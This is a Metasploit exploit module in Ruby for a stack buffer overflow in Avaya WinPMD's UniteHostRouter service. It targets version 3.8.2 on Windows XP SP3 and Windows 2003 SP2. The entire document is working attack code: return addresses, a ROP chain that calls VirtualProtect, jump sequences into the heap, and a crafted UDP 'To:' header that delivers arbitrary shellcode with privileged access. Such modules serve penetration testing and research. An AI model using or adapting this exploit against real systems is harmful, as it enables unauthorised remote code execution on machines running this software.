Avaya WinPMD UniteHostRouter Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Avaya WinPMD UniteHostRouter Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability  
exists in the UniteHostRouter service, due to the insecure usage of memcpy when  
parsing specially crafted "To:" headers. The module has been tested successfully on  
Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.  
},  
'Author' =>  
[  
'Abdul-Aziz Hariri', # Vulnerability discovery  
'Abysssec', # PoC  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
['OSVDB', '82764'],  
['OSVDB', '73269'],  
['BID', '47947'],  
['EDB', '18397'],  
['URL', 'https://downloads.avaya.com/css/P8/documents/100140122'],  
['URL', 'http://secunia.com/advisories/44062']  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x0d\x0a\x20\x2f\x3a\x3f",  
'Space' => 1024,  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Avaya WinPMD 3.8.2 / Windows XP SP3',  
{  
'Offset' => 260,  
'Ret' => 0x77c2e93b # MOV EAX,EDI # POP EDI # RETN from msvcrt  
}  
],  
['Avaya WinPMD 3.8.2 / Windows 2003 SP2',  
{  
'Offset' => 260,  
'Ret' => 0x0040e0f2 # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from UniteHostRouter.EXE  
}  
]  
],  
'Privileged' => true,  
'DisclosureDate' => 'May 23 2011',  
'DefaultTarget' => 0  
))  
  
register_options([ Opt::RPORT(3217) ], self.class)  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V")[0].to_i  
end  
  
def nop  
return make_nops(4).unpack("V")[0].to_i  
end  
  
def exploit  
connect_udp  
  
if target.name =~ /Windows XP SP3/  
buf = "\xeb\x7f" # jmp short $+0x81  
buf << rand_text(0x81 - 2)  
buf << "\xeb\x7f" # jmp short $+0x81  
buf << rand_text(0x81 - 2)  
buf << "\xeb\x64" # jmp short $+0x66 # jmp to shellcode in the heap  
buf << [target.ret].pack("V") # MOV EAX,EDI # POP EDI # RETN # from msvcrt # EDI points to data in the heap  
buf << [0x77c5f9a0].pack("V") # Readable address with string # from msvcrt  
buf << ([0x77c3c99c].pack("V")) * 21 # (INC EAX # RETN) * 21 # from msvcrt # EAX points to data in th heap, align to shellcode position  
buf << [0x77c168cd].pack("V") # jmp eax # from msvcrt.dll # JMP to shellcode in the heap  
elsif target.name =~ /Windows 2003 SP2/  
rop_gadgets =  
[  
0x77bb2563, # POP EAX # RETN  
0x77ba1114, # <- *&VirtualProtect()  
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN  
junk,  
0x77bb0c86, # XCHG EAX,ESI # RETN  
0x77bc9801, # POP EBP # RETN  
0x77be2265, # ptr to 'push esp # ret'  
0x77bb2563, # POP EAX # RETN  
0x03C0990F,  
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)  
0x77bb48d3, # POP EBX, RET  
0x77bf21e0, # .data  
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN  
0x77bbfc02, # POP ECX # RETN  
0x77bef001, # W pointer (lpOldProtect) (-> ecx)  
0x77bd8c04, # POP EDI # RETN  
0x77bd8c05, # ROP NOP (-> edi)  
0x77bb2563, # POP EAX # RETN  
0x03c0984f,  
0x77bdd441, # SUB EAX, 03c0940f  
0x77bb8285, # XCHG EAX,EDX # RETN  
0x77bb2563, # POP EAX # RETN  
nop,  
0x77be6591, # PUSHAD # ADD AL,0EF # RETN  
].pack("V*")  
buf = rand_text(3) # padding  
buf << rop_gadgets  
buf << "\xeb\x7f" # jmp $+0x81  
buf << rand_text(0x81-2)  
buf << "\xeb\x25" # jmp short $+0x66 => to shellcode  
buf << rand_text(target['Offset'] - buf.length)  
buf << "\xf2\xe0\x40" # EIP => # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from [UniteHostRouter.EXE # stackpivot to heap  
end  
  
request = "UTP/1 To: 127.0.0.1 /#{buf}\r\n\r\n"  
  
if target.name =~ /Windows 2003 SP2/  
request << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
end  
  
request << payload.encoded # The shellcode will be stored in the heap  
  
print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")  
udp_sock.put(request)  
disconnect_udp  
end  
  
end  
`